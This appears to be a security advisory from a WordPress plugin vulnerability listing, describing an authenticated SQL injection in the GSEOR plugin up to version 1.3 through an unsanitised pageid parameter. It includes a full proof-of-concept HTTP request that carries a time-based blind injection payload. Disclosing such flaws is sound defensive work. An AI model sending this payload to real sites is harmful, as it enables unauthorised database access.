WordPress Plugin Vulnerabilities

GSEOR <= 1.3 - Authenticated SQL Injection

Description

A pageid GET parameter of the plugin is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept

GET /wp-admin/admin.php?page=gseor.php&search=1&pageid=1%20AND%20(SELECT%206449%20FROM%20(SELECT(SLEEP(5)))wwdQ) HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close